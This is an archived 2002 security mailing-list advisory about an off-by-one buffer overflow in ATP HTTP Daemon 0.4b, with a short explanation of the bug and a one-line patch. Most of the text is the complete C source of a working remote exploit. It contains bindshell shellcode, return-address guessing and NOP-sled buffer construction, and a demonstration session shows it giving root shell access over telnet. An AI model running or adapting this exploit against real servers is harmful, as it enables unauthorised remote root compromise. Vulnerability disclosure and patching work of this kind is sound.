

[UNIX] ATP HTTP Daemon Buffer Overflow

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-10/0047.html>

From: support@securiteam.com

Date: 10/15/02

From: support@securiteam.com

To: list@securiteam.com

Date: 15 Oct 2002 03:03:57 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> – Know that you're safe.

ATP HTTP Daemon Buffer Overflow

SUMMARY

ATP HTTP Daemon is a single threaded HTTP Daemon. It's fast and uses very little memory. A security vulnerability in the product allows remote attackers to cause the product to execute arbitrary code.

DETAILS

Vulnerable systems:

- * ATP HTTP Daemon version 0.4b and prior

ATP HTTP Daemon contains a buffer overflow that is remotely exploitable and allows an attacker to gain ATPhttpd's privileges.

Due the single threaded structure, this daemon has no privilege separation and it needs root privileges to listen port 80. So, any buffer overflow that allows an attacker to inject some code and execute it, will compromise root privileges!

The overflow occurs when a string (with 'count' bytes or more) is received by the `sock_gets()`. The function will receive 'count' chars and will add a NULL char to the end of the string. If the 'count' variable value is equal to the size of the string passed as the first argument of this function, this will overflow the string in 1 byte.

Securiteam: [UNIX] ATP HTTP Daemon Buffer Overflow

Here is the problem (the comparison between 'total_count' and 'count' doesn't foresee the NULL delimiter character that will be added to the string in the end of the function):

```
sockhelp.c:311: if ( (total_count < count) && (last_read != 10) &&
(last_read !=13) )
sockhelp.c: {
sockhelp.c:312: current_position[0] = last_read;
sockhelp.c:313: current_position++;
sockhelp.c:314: total_count++;
sockhelp.c:315: }
sockhelp.c:316: }
sockhelp.c:317: if (count > 0)
```

Due the incorrect comparison, the string pointed by 'str' will receive 'count' bytes plus 1 extra byte (the NULL character):

```
sockhelp.c:318: current_position[0] = 0;
sockhelp.c:319: return total_count;
sockhelp.c:320: }
```

The exploitation is possible but sometimes may not work depending of the system environment. Here is a demonstration of a successful exploitation:

----- Box 1 -----

```
root@foxrot:~# ./atphttpd 80
root@foxrot:~# ps -aux | grep atphttpd
root 449 0.0 0.6 2240 780 ? S 15:15 0:00 ./atphttpd 80
root 455 0.0 0.3 1328 460 pts/0 S 15:15 0:00 grep atphttpd
root@foxrot:~# cat /proc/449/environ | wc -c
583
root@foxrot:~# ifconfig | tail -17 | head -8
eth1 Link encap:Ethernet HWaddr 00:10:5A:DB:EC:4A
      inet addr:172.16.0.1 Bcast:172.16.255.255 Mask:255.255.0.0
      UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
      RX packets:19060 errors:0 dropped:0 overruns:0 frame:0
      TX packets:21388 errors:0 dropped:0 overruns:0 carrier:0
      collisions:0 txqueuelen:100
      RX bytes:1703804 (1.6 Mb) TX bytes:14175723 (13.5 Mb)
      Interrupt:12 Base address:0xe880
root@foxrot:~#
```

----- Box 2 -----

```
pah@omega:~$ ./PRPatphttpd 172.16.0.1 80 1 0
PYR^MID, Research Project 02
ATP HTTP Daemon v0.4b Remote Exploit, by thread
```

```
Calculating a new return address... Done: 0xbffff4ec
Resolving hostname (172.16.0.1)... Resolved to: 172.16.0.1
```

Securiteam: [UNIX] ATP HTTP Daemon Buffer Overflow

```
Creating an end-point for communication... Done
Connecting to the remote host... Connected
Sending buffer to the remote host... Sent
Closing the connection... Closed
```

```
Now try: telnet 172.16.0.1 36864
pah@omega:~$ telnet 172.16.0.1 36864
Trying 172.16.0.1...
Connected to 172.16.0.1.
Escape character is '^'.
id;
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
: command not found
exit;
Connection closed by foreign host.
pah@omega:~$
```

----- End of demonstration -----

Temporary Patch:

Here is the simplest correction to the problem:

```
----- cut here -----
+++ sockhelp.c Sun Oct 6 02:37:05 2002
@@ -301,6 +301,8 @@ size_t count;
    char *current_position;
    char last_read = 0;

+ count--;
+
    current_position = str;
    while (last_read != 10) {
        bytes_read = read(sockfd, &last_read, 1);
----- cut here -----
```

EOF

Exploit Source Code:

```
/* PRPatphttpd.c
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
```

Securiteam: [UNIX] ATP HTTP Daemon Buffer Overflow

```
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*
* _
*
* PYR^MID, Research Project
* Author: thread
* Date: 05/10/02
* Members: Apm, flea, thread
*
* Proof of Concept Remote Exploit for ATP HTTP Daemon v0.4b
*
* Tested on:
* i386 Slackware 8.0
*
*/
```

```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <netdb.h>
```

```
#include <netinet/in.h>
```

```
#include <arpa/inet.h>
```

```
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
```

```
/* Constants */
```

```
#define BINDSHELL_PORT 36864
#define ARCHS 1
```

```
/* External variables */
```

```
extern int errno, h_errno; // Already declared in the headers
```

```
/* Here is a bindshell(code) */
```

```
char bindshell[] =
"\xeb\x72\x5e\x29\xc0\x89\x46\x10\x40\x89\xc3\x89\x46\x0c"
"\x40\x89\x46\x08\x8d\x4e\x08\xb0\x66\xcd\x80\x43\xc6\x46"
"\x10\x10\x66\x89\x5e\x14\x88\x46\x08\x29\xc0\x89\xc2\x89"
"\x46\x18\xb0\x90\x66\x89\x46\x16\x8d\x4e\x14\x89\x4e\x0c"
"\x8d\x4e\x08\xb0\x66\xcd\x80\x89\x5e\x0c\x43\x43\xb0\x66"
"\xcd\x80\x89\x56\x0c\x89\x56\x10\xb0\x66\x43\xcd\x80\x86"
```

Securiteam: [UNIX] ATP HTTP Daemon Buffer Overflow

```
"\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f"  
"\x41\xcd\x80\x88\x56\x07\x89\x76\x0c\x87\xf3\x8d\x4b\x0c"  
"\xb0\x0b\xcd\x80\xe8\x89\xff\xff\xff/bin/sh";
```

```
struct arch {  
int id;  
char *arch;  
long ret;  
int start_byte;  
} arch[] = {  
{ 1, "ATP HTTP Daemon v0.4b/i386 Slackware 8.0", 0xbfff7ec, 600 }  
};
```

```
/* Note that this return address doesn't precisely point to the start  
* of buffer's string (without any environment variables except '_')!  
* It points to somewhere in the first 2/4 of buffer's memory,  
* depending of the memory used by environment variables.  
* This is useful to make some compatibility for systems with  
* different environments.  
*/
```

```
/* Prototypes */
```

```
int gen_rand(int min, int max);  
long get_ret(long base_ret, int bytes);
```

```
int main(int argc, char **argv) {  
int fd, i, arch_num, tmp;  
long ret;  
struct sockaddr_in host;  
struct hostent *he;  
char buffer[803];
```

```
printf( "PYR/\MID, Research Project 02\n"  
"ATP HTTP Daemon v0.4b Remote Exploit, by thread\n\n");
```

```
/* Checking args */
```

```
if (argc == 2 && !strcmp(argv[1], "-h")) {  
printf( "<arch>\n"  
"Valid architectures:\n");  
for (i = 0; i < ARCHS; i++) {  
printf("\t%d - %s - 0x%lx\n",  
arch[i].id,  
arch[i].arch,  
arch[i].ret);  
}  
printf( "\n"  
"<environment memory>\n"  
"If you have no idea about remote atphttpd environment "  
"you should use one of next\n"
```

Securiteam: [UNIX] ATP HTTP Daemon Buffer Overflow

```
"options for this argument:\n"\n"\t0 – Uses a default return address that works "\n" in the most 'default'\n"\t slackware environments (between 520 and "\n" 675 bytes of memory)\n"\n"\t-1 – Generates a random number that will point "\n" to a valid return address\n"\t that works in a specific range of "\n" memory used by the environment\n"\t (good luck ;)\n"\n"NOTE: A high return address value means less "\n" environment memory used\n");\nreturn -1;\n} else if (argc < 5) {\nprintf( "Synopsis: %s [-h] <hostname> <port> <arch> "\n" <environment memory>\n"\n"\n"-h\t\t\t Use this flag as unique argument to "\n" display a detailed\n"\t\t\t help for <arch> and <environment memory> "\n" arguments\n"\n"\n"<hostname>\t\t Remote hostname or ip address\n"<port>\t\t\t Remote port\n"<arch>\t\t\t Architecture\n"<environment memory>\t\t It's the number of "\n" bytes that the environment (where\n"\t\t\t atphttpd runs) uses in memory.\n"\n", argv[0]);\nreturn -1;\n}\n\n/* Calculating a new return address */\n\nprintf("Calculating a new return address... ");\nfflush(stdout);\n\narch_num = atoi(argv[3]) - 1;\n\nret = get_ret(arch[arch_num].ret, atoi(argv[4]));\n\nprintf("Done: 0x%lx\n", ret);\n\n/* Resolving hostname */\n\nprintf("Resolving hostname (%s)... ", argv[1]);\nfflush(stdout);
```

Securiteam: [UNIX] ATP HTTP Daemon Buffer Overflow

```
if (!(he = gethostbyname(argv[1]))) {
    fprintf(stderr, "Error: gethostbyname(): %s\n",
            hstrerror(h_errno));
    return -1;
} else {
    char *r_ip = (char *) &host.sin_addr.s_addr;
    host.sin_addr.s_addr = *((unsigned long *) *he->h_addr_list);
    printf("Resolved to: %u.%u.%u.%u\n",
           (unsigned char) r_ip[0],
           (unsigned char) r_ip[1],
           (unsigned char) r_ip[2],
           (unsigned char) r_ip[3]);
}

/* Setting remote port and protocol family */

host.sin_port = htons(atoi(argv[2]));
host.sin_family = AF_INET;

/* Creating an end-point for communication */

printf("Creating an end-point for communication... ");
fflush(stdout);

if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
    fprintf(stderr, "Error: socket(): %s\n", strerror(errno));
    return -1;
}

printf("Done\n");

/* Connecting to the remote host */

printf("Connecting to the remote host... ");
fflush(stdout);

if (connect(fd, (struct sockaddr *) &host,
           sizeof(struct sockaddr)) < 0) {
    fprintf(stderr, "Error: connect(): %s\n", strerror(errno));
    return -1;
}

printf("Connected\n");

/* Crafting the string */

memset(buffer, '\x90', sizeof(buffer)); // Fill buffer with NOPs

/* The return address is somewhere around here.
 * It changes a lot of times because
 * the environment changes the buffer's place,
```

Securiteam: [UNIX] ATP HTTP Daemon Buffer Overflow

```
* so lets fill the memory's field
* where the return address is used to be:
*/

for (tmp = sizeof(buffer) - sizeof(long) - 3,
i = arch[arch_num].start_byte; i < tmp;
i += sizeof(long))
*(long *)&buffer[i] = ret;

memcpy((buffer + sizeof(buffer) - 1) - 3 - strlen(bindshell)
- ((sizeof(buffer) - arch[arch_num].start_byte) + 1),
bindshell, strlen(bindshell)); /* put the code right
* before the ret addr
* and ignore the '\0'
* and LF/CR chars
*/

buffer[sizeof(buffer) - 3] = '\n';
buffer[sizeof(buffer) - 2] = '\r';
buffer[sizeof(buffer) - 1] = 0;

/* Now sending the crafted string to the remote host */

printf("Sending buffer to the remote host... ");
fflush(stdout);

if (write(fd, buffer, strlen(buffer)) < 0) {
fprintf(stderr, "Error: write(): %s\n", strerror(errno));
return -1;
}

printf("Sent\n");

/* Close the file descriptor */

printf("Closing the connection... ");
fflush(stdout);

if (close(fd) < 0) {
fprintf(stderr, "Error: close(): %s\n", strerror(errno));
return -1;
}

printf("Closed\n");

printf("\nNow try: telnet %s %d\n", argv[1], BINDSHELL_PORT);

return 0;
}
```

